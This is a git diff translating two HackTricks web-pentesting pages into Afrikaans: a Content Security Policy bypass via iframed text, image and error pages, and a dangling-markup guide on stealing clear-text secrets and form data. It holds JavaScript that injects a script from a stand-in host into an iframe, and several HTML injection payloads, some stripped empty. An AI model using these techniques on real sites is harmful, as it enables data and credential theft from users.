-{{#include ../../banners/hacktricks-training.md}} - -A configuration such as: - +A konfigurasie soos: ``` Content-Security-Policy: default-src 'self' 'unsafe-inline'; ``` +Verbied die gebruik van enige funksies wat kode uitvoer wat as 'n string oorgedra word. Byvoorbeeld: `eval, setTimeout, setInterval` sal almal geblokkeer word weens die instelling `unsafe-eval` -Prohibits usage of any functions that execute code transmitted as a string. For example: `eval, setTimeout, setInterval` will all be blocked because of the setting `unsafe-eval` +Enige inhoud van eksterne bronne word ook geblokkeer, insluitend beelde, CSS, WebSockets, en, veral, JS -Any content from external sources is also blocked, including images, CSS, WebSockets, and, especially, JS - -### Via Text & Images - -It's observed that modern browsers convert images and texts into HTML to enhance their display (e.g., setting backgrounds, centering, etc.). Consequently, if an image or text file, such as `favicon.ico` or `robots.txt`, is opened via an `iframe`, it's rendered as HTML. Notably, these pages often lack CSP headers and may not include X-Frame-Options, enabling the execution of arbitrary JavaScript from them: +### Deur Tekste & Beelde +Dit word waargeneem dat moderne blaaiers beelde en tekste in HTML omskakel om hul vertoning te verbeter (bv. agtergronde instel, sentreer, ens.). Gevolglik, as 'n beeld of tekslêer, soos `favicon.ico` of `robots.txt`, via 'n `iframe` geopen word, word dit as HTML weergegee. Opmerklik is dat hierdie bladsye dikwels CSP-koptekste ontbreek en mag nie X-Frame-Options insluit nie, wat die uitvoering van arbitrêre JavaScript van hulle moontlik maak: ```javascript frame = document.createElement("iframe") frame.src = "/css/bootstrap.min.css" @@ -22,11 +17,9 @@ script = document.createElement("script") script.src = "//example.com/csp.js" window.frames[0].document.head.appendChild(script) ``` +### Deur Foute -### Via Errors - -Similarly, error responses, like text files or images, typically come without CSP headers and might omit X-Frame-Options. Errors can be induced to load within an iframe, allowing for the following actions: - +Op soortgelyke wyse kom foutresponsies, soos tekslêers of beelde, tipies sonder CSP-koptekste en mag X-Frame-Options weglat. Foute kan veroorsaak word om binne 'n iframe te laai, wat die volgende aksies moontlik maak: ```javascript // Inducing an nginx error frame = document.createElement("iframe") @@ -40,28 +33,24 @@ document.body.appendChild(frame) // Generating an error via extensive cookies for (var i = 0; i < 5; i++) { - document.cookie = i + "=" + "a".repeat(4000) +document.cookie = i + "=" + "a".repeat(4000) } frame = document.createElement("iframe") frame.src = "/" document.body.appendChild(frame) // Removal of cookies is crucial post-execution for (var i = 0; i < 5; i++) { - document.cookie = i + "=" +document.cookie = i + "=" } ``` - -After triggering any of the mentioned scenarios, JavaScript execution within the iframe is achievable as follows: - +Na die ontketening van enige van die genoemde scenario's, is JavaScript-uitvoering binne die iframe haalbaar soos volg: ```javascript script = document.createElement("script") script.src = "//example.com/csp.js" window.frames[0].document.head.appendChild(script) ``` - -## References +## Verwysings - [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md index 14a4525bc..64890f56a 100644 --- a/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md +++ b/src/pentesting-web/dangling-markup-html-scriptless-injection/README.md @@ -4,139 +4,114 @@ ## Resume -This technique can be use to extract information from a user when an **HTML injection is found**. This is very useful if you **don't find any way to exploit a** [**XSS** ](../xss-cross-site-scripting/)but you can **inject some HTML tags**.\ -It is also useful if some **secret is saved in clear text** in the HTML and you want to **exfiltrate** it from the client, or if you want to mislead some script execution. +Hierdie tegniek kan gebruik word om inligting van 'n gebruiker te onttrek wanneer 'n **HTML-inspuiting gevind word**. Dit is baie nuttig as jy **nie 'n manier kan vind om 'n** [**XSS** ](../xss-cross-site-scripting/) te benut nie, maar jy kan **'n paar HTML-tags inspuit**.\ +Dit is ook nuttig as 'n **geheim in duidelike teks gestoor is** in die HTML en jy wil dit **uitvoer** van die kliënt, of as jy 'n paar skripuitvoerings wil mislei. -Several techniques commented here can be used to bypass some [**Content Security Policy**](../content-security-policy-csp-bypass/) by exfiltrating information in unexpected ways (html tags, CSS, http-meta tags, forms, base...). +Verskeie tegnieke wat hier bespreek word, kan gebruik word om 'n paar [**Content Security Policy**](../content-security-policy-csp-bypass/) te omseil deur inligting op onverwagte maniere te onttrek (html-tags, CSS, http-meta-tags, vorms, basis...). ## Main Applications ### Stealing clear text secrets -If you inject `@import//hackvertor.co.uk? <--- Injected steal me!; ``` - -You could also use **`test ``` - -### Stealing forms - +### Steel vorms ```html ``` +Dan sal die vorms wat data na die pad stuur (soos `
`) die data na die kwaadwillige domein stuur. -Then, the forms that send data to path (like ``) will send the data to the malicious domain. +### Steel vorms 2 -### Stealing forms 2 +Stel 'n vormkop in: `` dit sal die volgende vormkop oorskryf en al die data van die vorm sal na die aanvaller gestuur word. -Set a form header: `` this will overwrite the next form header and all the data from the form will be sent to the attacker. - -### Stealing forms 3 - -The button can change the URL where the information of the form is going to be sent with the attribute "formaction": +### Steel vorms 3 +Die knoppie kan die URL verander waarheen die inligting van die vorm gestuur gaan word met die attribuut "formaction": ```html ``` +'n Aanvaller kan dit gebruik om die inligting te steel. -An attacker can use this to steal the information. +Vind 'n [**voorbeeld van hierdie aanval in hierdie skrywe**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). -Find an [**example of this attack in this writeup**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). - -### Stealing clear text secrets 2 - -Using the latest mentioned technique to steal forms (injecting a new form header) you can then inject a new input field: +### Steel duidelike teks geheime 2 +Deur die nuutgenoemde tegniek te gebruik om vorms te steel (die invoeging van 'n nuwe vormkop), kan jy dan 'n nuwe invoerveld invoeg: ```html ` tag. All the data until a closed `` is found will be sent: - +Jy kan dieselfde doen deur 'n vorm en 'n `` gevind word, sal gestuur word: ```html Click Me ← Injected lines + ← Injected lines - - ← Existing form (ignored by the parser) ... - ← Subverted field ... - - ... -
+
+← Existing form (ignored by the parser) ... + ← Subverted field ... + +... +
``` +### Dief van duidelike teks geheime via noscript -### Stealing clear text secrets via noscript - -`` Is a tag whose content will be interpreted if the browser doesn't support javascript (you can enable/disable Javascript in Chrome in [chrome://settings/content/javascript](chrome://settings/content/javascript)). - -A way to exfiltrate the content of the web page from the point of injection to the bottom to an attacker controlled site will be injecting this: +`` Is 'n etiket waarvan die inhoud geïnterpreteer sal word as die blaaier nie javascript ondersteun nie (jy kan Javascript in Chrome in [chrome://settings/content/javascript](chrome://settings/content/javascript) aktiveer/deaktiveer). +'n Manier om die inhoud van die webblad van die punt van inspuiting na die onderkant na 'n aanvaller beheerde webwerf te ekfiltreer, sal wees om dit in te spuit: ```html